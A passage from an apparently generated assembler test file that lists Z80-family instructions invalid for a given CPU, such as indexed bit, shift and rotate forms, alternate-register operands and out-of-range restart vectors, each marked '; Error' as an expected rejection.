res 1, l' ; Error
res 2, (ix) ; Error
res 2, (ix+127) ; Error
res 2, (ix-128) ; Error
res 2, (iy) ; Error
res 2, (iy+127) ; Error
res 2, (iy-128) ; Error
res 2, a' ; Error
res 2, b' ; Error
res 2, c' ; Error
res 2, d' ; Error
res 2, e' ; Error
res 2, h' ; Error
res 2, l' ; Error
res 3, (ix) ; Error
res 3, (ix+127) ; Error
res 3, (ix-128) ; Error
res 3, (iy) ; Error
res 3, (iy+127) ; Error
res 3, (iy-128) ; Error
res 3, a' ; Error
res 3, b' ; Error
res 3, c' ; Error
res 3, d' ; Error
res 3, e' ; Error
res 3, h' ; Error
res 3, l' ; Error
res 4, (ix) ; Error
res 4, (ix+127) ; Error
res 4, (ix-128) ; Error
res 4, (iy) ; Error
res 4, (iy+127) ; Error
res 4, (iy-128) ; Error
res 4, a' ; Error
res 4, b' ; Error
res 4, c' ; Error
res 4, d' ; Error
res 4, e' ; Error
res 4, h' ; Error
res 4, l' ; Error
res 5, (ix) ; Error
res 5, (ix+127) ; Error
res 5, (ix-128) ; Error
res 5, (iy) ; Error
res 5, (iy+127) ; Error
res 5, (iy-128) ; Error
res 5, a' ; Error
res 5, b' ; Error
res 5, c' ; Error
res 5, d' ; Error
res 5, e' ; Error
res 5, h' ; Error
res 5, l' ; Error
res 6, (ix) ; Error
res 6, (ix+127) ; Error
res 6, (ix-128) ; Error
res 6, (iy) ; Error
res 6, (iy+127) ; Error
res 6, (iy-128) ; Error
res 6, a' ; Error
res 6, b' ; Error
res 6, c' ; Error
res 6, d' ; Error
res 6, e' ; Error
res 6, h' ; Error
res 6, l' ; Error
res 7, (ix) ; Error
res 7, (ix+127) ; Error
res 7, (ix-128) ; Error
res 7, (iy) ; Error
res 7, (iy+127) ; Error
res 7, (iy-128) ; Error
res 7, a' ; Error
res 7, b' ; Error
res 7, c' ; Error
res 7, d' ; Error
res 7, e' ; Error
res 7, h' ; Error
res 7, l' ; Error
res 8, (hl) ; Error
res 8, (hl) ; Error
res 8, (ix) ; Error
res 8, (ix) ; Error
res 8, (ix+127) ; Error
res 8, (ix+127) ; Error
res 8, (ix-128) ; Error
res 8, (ix-128) ; Error
res 8, (iy) ; Error
res 8, (iy) ; Error
res 8, (iy+127) ; Error
res 8, (iy+127) ; Error
res 8, (iy-128) ; Error
res 8, (iy-128) ; Error
res 8, a ; Error
res 8, a ; Error
res 8, a' ; Error
res 8, a' ; Error
res 8, b ; Error
res 8, b ; Error
res 8, b' ; Error
res 8, b' ; Error
res 8, c ; Error
res 8, c ; Error
res 8, c' ; Error
res 8, c' ; Error
res 8, d ; Error
res 8, d ; Error
res 8, d' ; Error
res 8, d' ; Error
res 8, e ; Error
res 8, e ; Error
res 8, e' ; Error
res 8, e' ; Error
res 8, h ; Error
res 8, h ; Error
res 8, h' ; Error
res 8, h' ; Error
res 8, l ; Error
res 8, l ; Error
res 8, l' ; Error
res 8, l' ; Error
res.a -1, (hl) ; Error
res.a -1, (hl) ; Error
res.a -1, (ix) ; Error
res.a -1, (ix) ; Error
res.a -1, (ix+127) ; Error
res.a -1, (ix+127) ; Error
res.a -1, (ix-128) ; Error
res.a -1, (ix-128) ; Error
res.a -1, (iy) ; Error
res.a -1, (iy) ; Error
res.a -1, (iy+127) ; Error
res.a -1, (iy+127) ; Error
res.a -1, (iy-128) ; Error
res.a -1, (iy-128) ; Error
res.a -1, a ; Error
res.a -1, a ; Error
res.a -1, b ; Error
res.a -1, b ; Error
res.a -1, c ; Error
res.a -1, c ; Error
res.a -1, d ; Error
res.a -1, d ; Error
res.a -1, e ; Error
res.a -1, e ; Error
res.a -1, h ; Error
res.a -1, h ; Error
res.a -1, l ; Error
res.a -1, l ; Error
res.a 0, (ix) ; Error
res.a 0, (ix+127) ; Error
res.a 0, (ix-128) ; Error
res.a 0, (iy) ; Error
res.a 0, (iy+127) ; Error
res.a 0, (iy-128) ; Error
res.a 1, (ix) ; Error
res.a 1, (ix+127) ; Error
res.a 1, (ix-128) ; Error
res.a 1, (iy) ; Error
res.a 1, (iy+127) ; Error
res.a 1, (iy-128) ; Error
res.a 2, (ix) ; Error
res.a 2, (ix+127) ; Error
res.a 2, (ix-128) ; Error
res.a 2, (iy) ; Error
res.a 2, (iy+127) ; Error
res.a 2, (iy-128) ; Error
res.a 3, (ix) ; Error
res.a 3, (ix+127) ; Error
res.a 3, (ix-128) ; Error
res.a 3, (iy) ; Error
res.a 3, (iy+127) ; Error
res.a 3, (iy-128) ; Error
res.a 4, (ix) ; Error
res.a 4, (ix+127) ; Error
res.a 4, (ix-128) ; Error
res.a 4, (iy) ; Error
res.a 4, (iy+127) ; Error
res.a 4, (iy-128) ; Error
res.a 5, (ix) ; Error
res.a 5, (ix+127) ; Error
res.a 5, (ix-128) ; Error
res.a 5, (iy) ; Error
res.a 5, (iy+127) ; Error
res.a 5, (iy-128) ; Error
res.a 6, (ix) ; Error
res.a 6, (ix+127) ; Error
res.a 6, (ix-128) ; Error
res.a 6, (iy) ; Error
res.a 6, (iy+127) ; Error
res.a 6, (iy-128) ; Error
res.a 7, (ix) ; Error
res.a 7, (ix+127) ; Error
res.a 7, (ix-128) ; Error
res.a 7, (iy) ; Error
res.a 7, (iy+127) ; Error
res.a 7, (iy-128) ; Error
res.a 8, (hl) ; Error
res.a 8, (hl) ; Error
res.a 8, (ix) ; Error
res.a 8, (ix) ; Error
res.a 8, (ix+127) ; Error
res.a 8, (ix+127) ; Error
res.a 8, (ix-128) ; Error
res.a 8, (ix-128) ; Error
res.a 8, (iy) ; Error
res.a 8, (iy) ; Error
res.a 8, (iy+127) ; Error
res.a 8, (iy+127) ; Error
res.a 8, (iy-128) ; Error
res.a 8, (iy-128) ; Error
res.a 8, a ; Error
res.a 8, a ; Error
res.a 8, b ; Error
res.a 8, b ; Error
res.a 8, c ; Error
res.a 8, c ; Error
res.a 8, d ; Error
res.a 8, d ; Error
res.a 8, e ; Error
res.a 8, e ; Error
res.a 8, h ; Error
res.a 8, h ; Error
res.a 8, l ; Error
res.a 8, l ; Error
ret lo ; Error
ret lz ; Error
ret m ; Error
ret nv ; Error
ret p ; Error
ret pe ; Error
ret po ; Error
ret v ; Error
retn ; Error
rim ; Error
rl (ix) ; Error
rl (ix), a ; Error
rl (ix), b ; Error
rl (ix), c ; Error
rl (ix), d ; Error
rl (ix), e ; Error
rl (ix), h ; Error
rl (ix), l ; Error
rl (ix+127) ; Error
rl (ix+127), a ; Error
rl (ix+127), b ; Error
rl (ix+127), c ; Error
rl (ix+127), d ; Error
rl (ix+127), e ; Error
rl (ix+127), h ; Error
rl (ix+127), l ; Error
rl (ix-128) ; Error
rl (ix-128), a ; Error
rl (ix-128), b ; Error
rl (ix-128), c ; Error
rl (ix-128), d ; Error
rl (ix-128), e ; Error
rl (ix-128), h ; Error
rl (ix-128), l ; Error
rl (iy) ; Error
rl (iy), a ; Error
rl (iy), b ; Error
rl (iy), c ; Error
rl (iy), d ; Error
rl (iy), e ; Error
rl (iy), h ; Error
rl (iy), l ; Error
rl (iy+127) ; Error
rl (iy+127), a ; Error
rl (iy+127), b ; Error
rl (iy+127), c ; Error
rl (iy+127), d ; Error
rl (iy+127), e ; Error
rl (iy+127), h ; Error
rl (iy+127), l ; Error
rl (iy-128) ; Error
rl (iy-128), a ; Error
rl (iy-128), b ; Error
rl (iy-128), c ; Error
rl (iy-128), d ; Error
rl (iy-128), e ; Error
rl (iy-128), h ; Error
rl (iy-128), l ; Error
rl a' ; Error
rl b' ; Error
rl c' ; Error
rl d' ; Error
rl de' ; Error
rl e' ; Error
rl h' ; Error
rl l' ; Error
rla' ; Error
rlc (ix) ; Error
rlc (ix), a ; Error
rlc (ix), b ; Error
rlc (ix), c ; Error
rlc (ix), d ; Error
rlc (ix), e ; Error
rlc (ix), h ; Error
rlc (ix), l ; Error
rlc (ix+127) ; Error
rlc (ix+127), a ; Error
rlc (ix+127), b ; Error
rlc (ix+127), c ; Error
rlc (ix+127), d ; Error
rlc (ix+127), e ; Error
rlc (ix+127), h ; Error
rlc (ix+127), l ; Error
rlc (ix-128) ; Error
rlc (ix-128), a ; Error
rlc (ix-128), b ; Error
rlc (ix-128), c ; Error
rlc (ix-128), d ; Error
rlc (ix-128), e ; Error
rlc (ix-128), h ; Error
rlc (ix-128), l ; Error
rlc (iy) ; Error
rlc (iy), a ; Error
rlc (iy), b ; Error
rlc (iy), c ; Error
rlc (iy), d ; Error
rlc (iy), e ; Error
rlc (iy), h ; Error
rlc (iy), l ; Error
rlc (iy+127) ; Error
rlc (iy+127), a ; Error
rlc (iy+127), b ; Error
rlc (iy+127), c ; Error
rlc (iy+127), d ; Error
rlc (iy+127), e ; Error
rlc (iy+127), h ; Error
rlc (iy+127), l ; Error
rlc (iy-128) ; Error
rlc (iy-128), a ; Error
rlc (iy-128), b ; Error
rlc (iy-128), c ; Error
rlc (iy-128), d ; Error
rlc (iy-128), e ; Error
rlc (iy-128), h ; Error
rlc (iy-128), l ; Error
rlc a' ; Error
rlc b' ; Error
rlc c' ; Error
rlc d' ; Error
rlc e' ; Error
rlc h' ; Error
rlc l' ; Error
rlca' ; Error
rlo ; Error
rlz ; Error
rm ; Error
rnv ; Error
rp ; Error
rpe ; Error
rpo ; Error
rr (ix) ; Error
rr (ix), a ; Error
rr (ix), b ; Error
rr (ix), c ; Error
rr (ix), d ; Error
rr (ix), e ; Error
rr (ix), h ; Error
rr (ix), l ; Error
rr (ix+127) ; Error
rr (ix+127), a ; Error
rr (ix+127), b ; Error
rr (ix+127), c ; Error
rr (ix+127), d ; Error
rr (ix+127), e ; Error
rr (ix+127), h ; Error
rr (ix+127), l ; Error
rr (ix-128) ; Error
rr (ix-128), a ; Error
rr (ix-128), b ; Error
rr (ix-128), c ; Error
rr (ix-128), d ; Error
rr (ix-128), e ; Error
rr (ix-128), h ; Error
rr (ix-128), l ; Error
rr (iy) ; Error
rr (iy), a ; Error
rr (iy), b ; Error
rr (iy), c ; Error
rr (iy), d ; Error
rr (iy), e ; Error
rr (iy), h ; Error
rr (iy), l ; Error
rr (iy+127) ; Error
rr (iy+127), a ; Error
rr (iy+127), b ; Error
rr (iy+127), c ; Error
rr (iy+127), d ; Error
rr (iy+127), e ; Error
rr (iy+127), h ; Error
rr (iy+127), l ; Error
rr (iy-128) ; Error
rr (iy-128), a ; Error
rr (iy-128), b ; Error
rr (iy-128), c ; Error
rr (iy-128), d ; Error
rr (iy-128), e ; Error
rr (iy-128), h ; Error
rr (iy-128), l ; Error
rr a' ; Error
rr b' ; Error
rr c' ; Error
rr d' ; Error
rr de' ; Error
rr e' ; Error
rr h' ; Error
rr hl' ; Error
rr ix ; Error
rr iy ; Error
rr l' ; Error
rra' ; Error
rrc (ix) ; Error
rrc (ix), a ; Error
rrc (ix), b ; Error
rrc (ix), c ; Error
rrc (ix), d ; Error
rrc (ix), e ; Error
rrc (ix), h ; Error
rrc (ix), l ; Error
rrc (ix+127) ; Error
rrc (ix+127), a ; Error
rrc (ix+127), b ; Error
rrc (ix+127), c ; Error
rrc (ix+127), d ; Error
rrc (ix+127), e ; Error
rrc (ix+127), h ; Error
rrc (ix+127), l ; Error
rrc (ix-128) ; Error
rrc (ix-128), a ; Error
rrc (ix-128), b ; Error
rrc (ix-128), c ; Error
rrc (ix-128), d ; Error
rrc (ix-128), e ; Error
rrc (ix-128), h ; Error
rrc (ix-128), l ; Error
rrc (iy) ; Error
rrc (iy), a ; Error
rrc (iy), b ; Error
rrc (iy), c ; Error
rrc (iy), d ; Error
rrc (iy), e ; Error
rrc (iy), h ; Error
rrc (iy), l ; Error
rrc (iy+127) ; Error
rrc (iy+127), a ; Error
rrc (iy+127), b ; Error
rrc (iy+127), c ; Error
rrc (iy+127), d ; Error
rrc (iy+127), e ; Error
rrc (iy+127), h ; Error
rrc (iy+127), l ; Error
rrc (iy-128) ; Error
rrc (iy-128), a ; Error
rrc (iy-128), b ; Error
rrc (iy-128), c ; Error
rrc (iy-128), d ; Error
rrc (iy-128), e ; Error
rrc (iy-128), h ; Error
rrc (iy-128), l ; Error
rrc a' ; Error
rrc b' ; Error
rrc c' ; Error
rrc d' ; Error
rrc e' ; Error
rrc h' ; Error
rrc l' ; Error
rrca' ; Error
rst -1 ; Error
rst -1 ; Error
rst 10 ; Error
rst 10 ; Error
rst 11 ; Error
rst 11 ; Error
rst 12 ; Error
rst 12 ; Error
rst 13 ; Error
rst 13 ; Error
rst 14 ; Error
rst 14 ; Error
rst 15 ; Error
rst 15 ; Error
rst 17 ; Error
rst 17 ; Error
rst 18 ; Error
rst 18 ; Error
rst 19 ; Error
rst 19 ; Error
rst 20 ; Error
rst 20 ; Error
rst 21 ; Error
rst 21 ; Error
rst 22 ; Error
rst 22 ; Error
rst 23 ; Error
rst 23 ; Error
rst 25 ; Error
rst 25 ; Error
rst 26 ; Error
rst 26 ; Error
rst 27 ; Error
rst 27 ; Error
rst 28 ; Error
rst 28 ; Error
rst 29 ; Error
rst 29 ; Error
rst 30 ; Error
rst 30 ; Error
rst 31 ; Error
rst 31 ; Error
rst 33 ; Error
rst 33 ; Error
rst 34 ; Error
rst 34 ; Error
rst 35 ; Error
rst 35 ; Error
rst 36 ; Error
rst 36 ; Error
rst 37 ; Error
rst 37 ; Error
rst 38 ; Error
rst 38 ; Error
rst 39 ; Error
rst 39 ; Error
rst 41 ; Error
rst 41 ; Error
rst 42 ; Error
rst 42 ; Error
rst 43 ; Error
rst 43 ; Error
rst 44 ; Error
rst 44 ; Error
rst 45 ; Error
rst 45 ; Error
rst 46 ; Error
rst 46 ; Error
rst 47 ; Error
rst 47 ; Error
rst 49 ; Error
rst 49 ; Error
rst 50 ; Error
rst 50 ; Error
rst 51 ; Error
rst 51 ; Error
rst 52 ; Error
rst 52 ; Error
rst 53 ; Error
rst 53 ; Error
rst 54 ; Error
rst 54 ; Error
rst 55 ; Error
rst 55 ; Error
rst 57 ; Error
rst 57 ; Error
rst 58 ; Error
rst 58 ; Error
rst 59 ; Error
rst 59 ; Error
rst 60 ; Error
rst 60 ; Error
rst 61 ; Error
rst 61 ; Error
rst 62 ; Error
rst 62 ; Error
rst 63 ; Error
rst 63 ; Error
rst 64 ; Error
rst 64 ; Error
rst 9 ; Error
rst 9 ; Error
rstv ; Error
rv ; Error
sbc (ix) ; Error
sbc (ix+127) ; Error
sbc (ix-128) ; Error
sbc (iy) ; Error
sbc (iy+127) ; Error
sbc (iy-128) ; Error
sbc a', (hl) ; Error
sbc a', (ix) ; Error
sbc a', (ix+127) ; Error
sbc a', (ix-128) ; Error
sbc a', (iy) ; Error
sbc a', (iy+127) ; Error
sbc a', (iy-128) ; Error
sbc a', -128 ; Error
sbc a', 127 ; Error
sbc a', 255 ; Error
sbc a', a ; Error
sbc a', b ; Error
sbc a', c ; Error
sbc a', d ; Error
sbc a', e ; Error
sbc a', h ; Error
sbc a', l ; Error
sbc a, (ix) ; Error
sbc a, (ix+127) ; Error
sbc a, (ix-128) ; Error
sbc a, (iy) ; Error
sbc a, (iy+127) ; Error
sbc a, (iy-128) ; Error
sbc a, ixh ; Error
sbc a, ixl ; Error
sbc a, iyh ; Error
sbc a, iyl ; Error
sbc hl', bc ; Error
sbc hl', de ; Error
sbc hl', hl ; Error
sbc hl', sp ; Error
sbc ixh ; Error
sbc ixl ; Error
sbc iyh ; Error
sbc iyl ; Error
scf' ; Error
set -1, (hl) ; Error
set -1, (hl) ; Error
set -1, (ix) ; Error
set -1, (ix) ; Error
set -1, (ix+127) ; Error
set -1, (ix+127) ; Error
set -1, (ix-128) ; Error
set -1, (ix-128) ; Error
set -1, (iy) ; Error
set -1, (iy) ; Error
set -1, (iy+127) ; Error
set -1, (iy+127) ; Error
set -1, (iy-128) ; Error
set -1, (iy-128) ; Error
set -1, a ; Error
set -1, a ; Error
set -1, a' ; Error
set -1, a' ; Error
set -1, b ; Error
set -1, b ; Error
set -1, b' ; Error
set -1, b' ; Error
set -1, c ; Error
set -1, c ; Error
set -1, c' ; Error
set -1, c' ; Error
set -1, d ; Error
set -1, d ; Error
set -1, d' ; Error
set -1, d' ; Error
set -1, e ; Error
set -1, e ; Error
set -1, e' ; Error
set -1, e' ; Error
set -1, h ; Error
set -1, h ; Error
set -1, h' ; Error
set -1, h' ; Error
set -1, l ; Error
set -1, l ; Error
set -1, l' ; Error
set -1, l' ; Error
set 0, (ix) ; Error
set 0, (ix+127) ; Error
set 0, (ix-128) ; Error
set 0, (iy) ; Error
set 0, (iy+127) ; Error
set 0, (iy-128) ; Error
set 0, a' ; Error
set 0, b' ; Error
set 0, c' ; Error
set 0, d' ; Error
set 0, e' ; Error
set 0, h' ; Error
set 0, l' ; Error
set 1, (ix) ; Error
set 1, (ix+127) ; Error
set 1, (ix-128) ; Error
set 1, (iy) ; Error
set 1, (iy+127) ; Error
set 1, (iy-128) ; Error
set 1, a' ; Error
set 1, b' ; Error
set 1, c' ; Error
set 1, d' ; Error
set 1, e' ; Error
set 1, h' ; Error
set 1, l' ; Error
set 2, (ix) ; Error
set 2, (ix+127) ; Error
set 2, (ix-128) ; Error
set 2, (iy) ; Error
set 2, (iy+127) ; Error
set 2, (iy-128) ; Error
set 2, a' ; Error
set 2, b' ; Error
set 2, c' ; Error
set 2, d' ; Error
set 2, e' ; Error
set 2, h' ; Error
set 2, l' ; Error
set 3, (ix) ; Error
set 3, (ix+127) ; Error
set 3, (ix-128) ; Error
set 3, (iy) ; Error
set 3, (iy+127) ; Error
set 3, (iy-128) ; Error
set 3, a' ; Error
set 3, b' ; Error
set 3, c' ; Error
set 3, d' ; Error
set 3, e' ; Error
set 3, h' ; Error
set 3, l' ; Error
set 4, (ix) ; Error
set 4, (ix+127) ; Error
set 4, (ix-128) ; Error
set 4, (iy) ; Error
set 4, (iy+127) ; Error
set 4, (iy-128) ; Error
set 4, a' ; Error
set 4, b' ; Error
set 4, c' ; Error
set 4, d' ; Error
set 4, e' ; Error
set 4, h' ; Error
set 4, l' ; Error
set 5, (ix) ; Error
set 5, (ix+127) ; Error
set 5, (ix-128) ; Error
set 5, (iy) ; Error
set 5, (iy+127) ; Error
set 5, (iy-128) ; Error
set 5, a' ; Error
set 5, b' ; Error
set 5, c' ; Error
set 5, d' ; Error
set 5, e' ; Error
set 5, h' ; Error
set 5, l' ; Error
set 6, (ix) ; Error
set 6, (ix+127) ; Error
set 6, (ix-128) ; Error
set 6, (iy) ; Error
set 6, (iy+127) ; Error
set 6, (iy-128) ; Error
set 6, a' ; Error
set 6, b' ; Error
set 6, c' ; Error
set 6, d' ; Error
set 6, e' ; Error
set 6, h' ; Error
set 6, l' ; Error
set 7, (ix) ; Error
set 7, (ix+127) ; Error
set 7, (ix-128) ; Error
set 7, (iy) ; Error
set 7, (iy+127) ; Error
set 7, (iy-128) ; Error
set 7, a' ; Error
set 7, b' ; Error
set 7, c' ; Error
set 7, d' ; Error
set 7, e' ; Error
set 7, h' ; Error
set 7, l' ; Error
set 8, (hl) ; Error
set 8, (hl) ; Error
set 8, (ix) ; Error
set 8, (ix) ; Error
set 8, (ix+127) ; Error
set 8, (ix+127) ; Error
set 8, (ix-128) ; Error
set 8, (ix-128) ; Error
set 8, (iy) ; Error
set 8, (iy) ; Error
set 8, (iy+127) ; Error
set 8, (iy+127) ; Error
set 8, (iy-128) ; Error
set 8, (iy-128) ; Error
set 8, a ; Error
set 8, a ; Error
set 8, a' ; Error
set 8, a' ; Error
set 8, b ; Error
set 8, b ; Error
set 8, b' ; Error
set 8, b' ; Error
set 8, c ; Error
set 8, c ; Error
set 8, c' ; Error
set 8, c' ; Error
set 8, d ; Error
set 8, d ; Error
set 8, d' ; Error
set 8, d' ; Error
set 8, e ; Error
set 8, e ; Error
set 8, e' ; Error
set 8, e' ; Error
set 8, h ; Error
set 8, h ; Error
set 8, h' ; Error
set 8, h' ; Error
set 8, l ; Error
set 8, l ; Error
set 8, l' ; Error
set 8, l' ; Error
set.a -1, (hl) ; Error
set.a -1, (hl) ; Error
set.a -1, (ix) ; Error
set.a -1, (ix) ; Error
set.a -1, (ix+127) ; Error
set.a -1, (ix+127) ; Error
set.a -1, (ix-128) ; Error
set.a -1, (ix-128) ; Error
set.a -1, (iy) ; Error
set.a -1, (iy) ; Error
set.a -1, (iy+127) ; Error
set.a -1, (iy+127) ; Error
set.a -1, (iy-128) ; Error
set.a -1, (iy-128) ; Error
set.a -1, a ; Error
set.a -1, a ; Error
set.a -1, b ; Error
set.a -1, b ; Error
set.a -1, c ; Error
set.a -1, c ; Error
set.a -1, d ; Error
set.a -1, d ; Error
set.a -1, e ; Error
set.a -1, e ; Error
set.a -1, h ; Error
set.a -1, h ; Error
set.a -1, l ; Error
set.a -1, l ; Error
set.a 0, (ix) ; Error
set.a 0, (ix+127) ; Error
set.a 0, (ix-128) ; Error
set.a 0, (iy) ; Error
set.a 0, (iy+127) ; Error
set.a 0, (iy-128) ; Error
set.a 1, (ix) ; Error
set.a 1, (ix+127) ; Error
set.a 1, (ix-128) ; Error
set.a 1, (iy) ; Error
set.a 1, (iy+127) ; Error
set.a 1, (iy-128) ; Error
set.a 2, (ix) ; Error
set.a 2, (ix+127) ; Error
set.a 2, (ix-128) ; Error
set.a 2, (iy) ; Error
set.a 2, (iy+127) ; Error
set.a 2, (iy-128) ; Error
set.a 3, (ix) ; Error
set.a 3, (ix+127) ; Error
set.a 3, (ix-128) ; Error
set.a 3, (iy) ; Error
set.a 3, (iy+127) ; Error
set.a 3, (iy-128) ; Error
set.a 4, (ix) ; Error
set.a 4, (ix+127) ; Error
set.a 4, (ix-128) ; Error
set.a 4, (iy) ; Error
set.a 4, (iy+127) ; Error
set.a 4, (iy-128) ; Error
set.a 5, (ix) ; Error
set.a 5, (ix+127) ; Error
set.a 5, (ix-128) ; Error
set.a 5, (iy) ; Error
set.a 5, (iy+127) ; Error
set.a 5, (iy-128) ; Error
set.a 6, (ix) ; Error
set.a 6, (ix+127) ; Error
set.a 6, (ix-128) ; Error
set.a 6, (iy) ; Error
set.a 6, (iy+127) ; Error
set.a 6, (iy-128) ; Error
set.a 7, (ix) ; Error
set.a 7, (ix+127) ; Error
set.a 7, (ix-128) ; Error
set.a 7, (iy) ; Error
set.a 7, (iy+127) ; Error
set.a 7, (iy-128) ; Error
set.a 8, (hl) ; Error
set.a 8, (hl) ; Error
set.a 8, (ix) ; Error
set.a 8, (ix) ; Error
set.a 8, (ix+127) ; Error
set.a 8, (ix+127) ; Error
set.a 8, (ix-128) ; Error
set.a 8, (ix-128) ; Error
set.a 8, (iy) ; Error
set.a 8, (iy) ; Error
set.a 8, (iy+127) ; Error
set.a 8, (iy+127) ; Error
set.a 8, (iy-128) ; Error
set.a 8, (iy-128) ; Error
set.a 8, a ; Error
set.a 8, a ; Error
set.a 8, b ; Error
set.a 8, b ; Error
set.a 8, c ; Error
set.a 8, c ; Error
set.a 8, d ; Error
set.a 8, d ; Error
set.a 8, e ; Error
set.a 8, e ; Error
set.a 8, h ; Error
set.a 8, h ; Error
set.a 8, l ; Error
set.a 8, l ; Error
setae ; Error
setusr ; Error
shld -32768 ; Error
shld 32767 ; Error
shld 65535 ; Error
shlde ; Error
shlx ; Error
sim ; Error
sla (ix) ; Error
sla (ix), a ; Error
sla (ix), b ; Error
sla (ix), c ; Error
sla (ix), d ; Error
sla (ix), e ; Error
sla (ix), h ; Error
sla (ix), l ; Error
sla (ix+127) ; Error
sla (ix+127), a ; Error
sla (ix+127), b ; Error
sla (ix+127), c ; Error
sla (ix+127), d ; Error
sla (ix+127), e ; Error
sla (ix+127), h ; Error
sla (ix+127), l ; Error
sla (ix-128) ; Error
sla (ix-128), a ; Error
sla (ix-128), b ; Error
sla (ix-128), c ; Error
sla (ix-128), d ; Error
sla (ix-128), e ; Error
sla (ix-128), h ; Error
sla (ix-128), l ; Error
sla (iy) ; Error
sla (iy), a ; Error
sla (iy), b ; Error
sla (iy), c ; Error
sla (iy), d ; Error
sla (iy), e ; Error
sla (iy), h ; Error
sla (iy), l ; Error
sla (iy+127) ; Error
sla (iy+127), a ; Error
sla (iy+127), b ; Error
sla (iy+127), c ; Error
sla (iy+127), d ; Error
sla (iy+127), e ; Error
sla (iy+127), h ; Error
sla (iy+127), l ; Error
sla (iy-128) ; Error
sla (iy-128), a ; Error
sla (iy-128), b ; Error
sla (iy-128), c ; Error
sla (iy-128), d ; Error
sla (iy-128), e ; Error
sla (iy-128), h ; Error
sla (iy-128), l ; Error
sla a' ; Error
sla b' ; Error
sla c' ; Error
sla d' ; Error
sla e' ; Error
sla h' ; Error
sla l' ; Error
sli (hl) ; Error
sli (ix) ; Error
sli (ix), a ; Error
sli (ix), b ; Error
sli (ix), c ; Error
sli (ix), d ; Error
sli (ix), e ; Error
sli (ix), h ; Error
sli (ix), l ; Error
sli (ix+127) ; Error
sli (ix+127), a ; Error
sli (ix+127), b ; Error
sli (ix+127), c ; Error
sli (ix+127), d ; Error
sli (ix+127), e ; Error
sli (ix+127), h ; Error
sli (ix+127), l ; Error
sli (ix-128) ; Error
sli (ix-128), a ; Error
sli (ix-128), b ; Error
sli (ix-128), c ; Error
sli (ix-128), d ; Error
sli (ix-128), e ; Error
sli (ix-128), h ; Error
sli (ix-128), l ; Error
sli (iy) ; Error
sli (iy), a ; Error
sli (iy), b ; Error
sli (iy), c ; Error
sli (iy), d ; Error
sli (iy), e ; Error
sli (iy), h ; Error
sli (iy), l ; Error
sli (iy+127) ; Error
sli (iy+127), a ; Error
sli (iy+127), b ; Error
sli (iy+127), c ; Error
sli (iy+127), d ; Error
sli (iy+127), e ; Error
sli (iy+127), h ; Error
sli (iy+127), l ; Error
sli (iy-128) ; Error
sli (iy-128), a ; Error
sli (iy-128), b ; Error
sli (iy-128), c ; Error
sli (iy-128), d ; Error
sli (iy-128), e ; Error
sli (iy-128), h ; Error
sli (iy-128), l ; Error
sli a ; Error
sli b ; Error
sli c ; Error
sli d ; Error
sli e ; Error
sli h ; Error
sli l ; Error
sll (hl) ; Error
sll (ix) ; Error
sll (ix), a ; Error
sll (ix), b ; Error
sll (ix), c ; Error
sll (ix), d ; Error
sll (ix), e ; Error
sll (ix), h ; Error
sll (ix), l ; Error
sll (ix+127) ; Error
sll (ix+127), a ; Error
sll (ix+127), b ; Error
sll (ix+127), c ; Error
sll (ix+127), d ; Error
sll (ix+127), e ; Error
sll (ix+127), h ; Error
sll (ix+127), l ; Error
sll (ix-128) ; Error
sll (ix-128), a ; Error
sll (ix-128), b ; Error
sll (ix-128), c ; Error
sll (ix-128), d ; Error
sll (ix-128), e ; Error
sll (ix-128), h ; Error
sll (ix-128), l ; Error
sll (iy) ; Error
sll (iy), a ; Error
sll (iy), b ; Error
sll (iy), c ; Error
sll (iy), d ; Error
sll (iy), e ; Error
sll (iy), h ; Error
sll (iy), l ; Error
sll (iy+127) ; Error
sll (iy+127), a ; Error
sll (iy+127), b ; Error
sll (iy+127), c ; Error
sll (iy+127), d ; Error
sll (iy+127), e ; Error
sll (iy+127), h ; Error
sll (iy+127), l ; Error
sll (iy-128) ; Error
sll (iy-128), a ; Error
sll (iy-128), b ; Error
sll (iy-128), c ; Error
sll (iy-128), d ; Error
sll (iy-128), e ; Error
sll (iy-128), h ; Error
sll (iy-128), l ; Error
sll a ; Error
sll b ; Error
sll c ; Error
sll d ; Error
sll e ; Error
sll h ; Error
sll l ; Error
slp ; Error
sra (ix) ; Error
sra (ix), a ; Error
sra (ix), b ; Error
sra (ix), c ; Error
sra (ix), d ; Error
sra (ix), e ; Error
sra (ix), h ; Error
sra (ix), l ; Error
sra (ix+127) ; Error
sra (ix+127), a ; Error
sra (ix+127), b ; Error
sra (ix+127), c ; Error
sra (ix+127), d ; Error
sra (ix+127), e ; Error
sra (ix+127), h ; Error
sra (ix+127), l ; Error
sra (ix-128) ; Error
sra (ix-128), a ; Error
sra (ix-128), b ; Error
sra (ix-128), c ; Error
sra (ix-128), d ; Error
sra (ix-128), e ; Error
sra (ix-128), h ; Error
sra (ix-128), l ; Error
sra (iy) ; Error
sra (iy), a ; Error
sra (iy), b ; Error
sra (iy), c ; Error
sra (iy), d ; Error
sra (iy), e ; Error
sra (iy), h ; Error
sra (iy), l ; Error
sra (iy+127) ; Error
sra (iy+127), a ; Error
sra (iy+127), b ; Error
sra (iy+127), c ; Error
sra (iy+127), d ; Error
sra (iy+127), e ; Error
sra (iy+127), h ; Error
sra (iy+127), l ; Error
sra (iy-128) ; Error
sra (iy-128), a ; Error
sra (iy-128), b ; Error
sra (iy-128), c ; Error
sra (iy-128), d ; Error
sra (iy-128), e ; Error
sra (iy-128), h ; Error
sra (iy-128), l ; Error
sra a' ; Error
sra b' ; Error
sra c' ; Error
sra d' ; Error
sra e' ; Error
sra h' ; Error
sra l' ; Error
srl (ix) ; Error
srl (ix), a ; Error
srl (ix), b ; Error
srl (ix), c ; Error
srl (ix), d ; Error
srl (ix), e ; Error
srl (ix), h ; Error
srl (ix), l ; Error
srl (ix+127) ; Error
srl (ix+127), a ; Error
srl (ix+127), b ; Error
srl (ix+127), c ; Error
srl (ix+127), d ; Error
srl (ix+127), e ; Error
srl (ix+127), h ; Error
srl (ix+127), l ; Error
srl (ix-128) ; Error
srl (ix-128), a ; Error
srl (ix-128), b ; Error
srl (ix-128), c ; Error
srl (ix-128), d ; Error
srl (ix-128), e ; Error
srl (ix-128), h ; Error
srl (ix-128), l ; Error
srl (iy) ; Error
srl (iy), a ; Error
srl (iy), b ; Error
srl (iy), c ; Error
srl (iy), d ; Error
srl (iy), e ; Error
srl (iy), h ; Error
srl (iy), l ; Error
srl (iy+127) ; Error
srl (iy+127), a ; Error
srl (iy+127), b ; Error
srl (iy+127), c ; Error
srl (iy+127), d ; Error
srl (iy+127), e ; Error
srl (iy+127), h ; Error
